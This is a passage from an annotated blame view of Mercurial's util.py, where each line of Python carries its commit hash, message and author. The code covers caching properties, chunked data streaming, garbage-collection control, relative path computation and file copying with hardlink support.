431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1702 return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1703
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1704 return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1705
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1706
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1707 class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1708 def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1709 self.func = func
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1710 self.name = func.__name__
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1711
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1712 def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1713 result = self.func(obj)
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1714 self.cachevalue(obj, result)
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1715 return result
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1716
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1717 def cachevalue(self, obj, value):
19951 d51c4d85ec23 spelling: random spell checker fixes Mads Kiilerich <madski@unity3d.com> parents: 19852 diff changeset	1718 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845 a1237a4b437d repoview: make propertycache.setcache compatible with repoview Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 19461 diff changeset	1719 obj.__dict__[self.name] = value
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1720
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1721
35053 be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1722 def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1723 '''clear a cached property value, if one has been set'''
40728 475921a3028c py3: cast attribute name to sysstr in clearcachedproperty() Yuya Nishihara <yuya@tcha.org> parents: 40251 diff changeset	1724 prop = pycompat.sysstr(prop)
35053 be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1725 if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1726 del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1727
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1728
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1729 def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1730 '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1731 doubling min after each chunk until it reaches max'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1732
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1733 def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1734 if not x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1735 return 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1736 i = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1737 while x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1738 x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1739 i += 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1740 return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1741
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1742 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1743 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1744 for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1745 buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1746 blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1747 if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1748 if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1749 min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1750 nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1751 if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1752 min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1753 if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1754 min = max
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1755 yield b''.join(buf)
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1756 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1757 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1758 if buf:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1759 yield b''.join(buf)
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1760
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1761
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1762 def always(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1763 return True
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1764
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1765
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1766 def never(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1767 return False
724 1c0c413cccdd Get add and locate to use new repo and dirstate walk code. Bryan O'Sullivan <bos@serpentine.com> parents: 705 diff changeset	1768
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1769
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1770 def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1771 """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1772
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1773 Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1774 container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1775 allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1776 no effect on when GCs are triggered, only on what objects the GC looks
23543 4dd8a6a1240d spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23495 diff changeset	1777 into. As a workaround, disable GC while building complex (huge)
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1778 containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1779
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1780 This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1781 CPython's performance.
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1782 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1783
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1784 def wrapper(args, *kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1785 gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1786 gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1787 try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1788 return func(args, *kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1789 finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1790 if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1791 gc.enable()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1792
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1793 return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1794
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1795
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1796 if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1797 # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1798 nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1799
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1800
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1801 def pathto(root, n1, n2):
886 509de8ab6f31 Fix walk path handling on Windows Bryan O'Sullivan <bos@serpentine.com> parents: 884 diff changeset	1802 '''return the relative path from one place to another.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1803 root should use os.sep to separate directories
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1804 n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1805 n2 should use "/" to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1806 returns an os.sep-separated path.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1807
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1808 If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1809 relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1810 n2 should always be relative to root.
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1811 '''
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1812 if not n1:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1813 return localpath(n2)
4230 c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1814 if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1815 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1816 return os.path.join(root, localpath(n2))
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1817 n2 = b'/'.join((pconvert(root), n2))
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1818 a, b = splitpath(n1), n2.split(b'/')
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1819 a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1820 b.reverse()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1821 while a and b and a[-1] == b[-1]:
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1822 a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1823 b.pop()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1824 b.reverse()
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1825 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1826
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1827
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1828 # the location of data files matching the source code
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1829 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1830 # executable version (py2exe) doesn't support __file__
30672 10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable Pulkit Goyal <7895pulkit@gmail.com> parents: 30647 diff changeset	1831 datapath = os.path.dirname(pycompat.sysexecutable)
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1832 else:
31091 2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes Pulkit Goyal <7895pulkit@gmail.com> parents: 31008 diff changeset	1833 datapath = os.path.dirname(pycompat.fsencode(__file__))
30314 8321b083a83d py3: make util.datapath a bytes variable Pulkit Goyal <7895pulkit@gmail.com> parents: 30279 diff changeset	1834
22638 0d0350cfc7ab i18n: use datapath for i18n like for templates and help Mads Kiilerich <madski@unity3d.com> parents: 22633 diff changeset	1835 i18n.setdatapath(datapath)
0d0350cfc7ab i18n: use datapath for i18n like for templates and help Mads Kiilerich <madski@unity3d.com> parents: 22633 diff changeset	1836
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1837
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1838 def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1839 '''wrap a function with code to check for calling errors'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1840
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1841 def check(args, *kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1842 try:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1843 return func(args, *kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1844 except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1845 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646 e62a456b8dc5 error: move SignatureError Matt Mackall <mpm@selenic.com> parents: 7644 diff changeset	1846 raise error.SignatureError
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1847 raise
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1848
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1849 return check
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1850
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1851
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1852 # a whilelist of known filesystems where hardlink works reliably
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1853 _hardlinkfswhitelist = {
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1854 b'apfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1855 b'btrfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1856 b'ext2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1857 b'ext3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1858 b'ext4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1859 b'hfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1860 b'jfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1861 b'NTFS',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1862 b'reiserfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1863 b'tmpfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1864 b'ufs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1865 b'xfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1866 b'zfs',
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1867 }
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1868
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1869
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1870 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1871 '''copy a file, preserving mode and optionally other stat info like
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1872 atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1873
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1874 checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1875 destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1876 repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1877
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1878 copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1879 '''
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1880 assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1881 oldstat = None
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1882 if os.path.lexists(dest):
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1883 if checkambig:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1884 oldstat = checkambig and filestat.frompath(dest)
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1885 unlink(dest)
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1886 if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1887 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1888 # unless we are confident that dest is on a whitelisted filesystem.
31683 1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1889 try:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1890 fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1891 except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1892 fstype = None
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1893 if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1894 hardlink = False
31583 e7a02e9ad162 util: enable hardlink for copyfile Jun Wu <quark@fb.com> parents: 31581 diff changeset	1895 if hardlink:
23899 4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1896 try:
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1897 oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1898 return
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1899 except (IOError, OSError):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1900 pass # fall back to normal copy
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1901 if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1902 os.symlink(os.readlink(src), dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1903 # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1904 # for them anyway
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1905 else:
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1906 try:
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1907 shutil.copyfile(src, dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1908 if copystat:
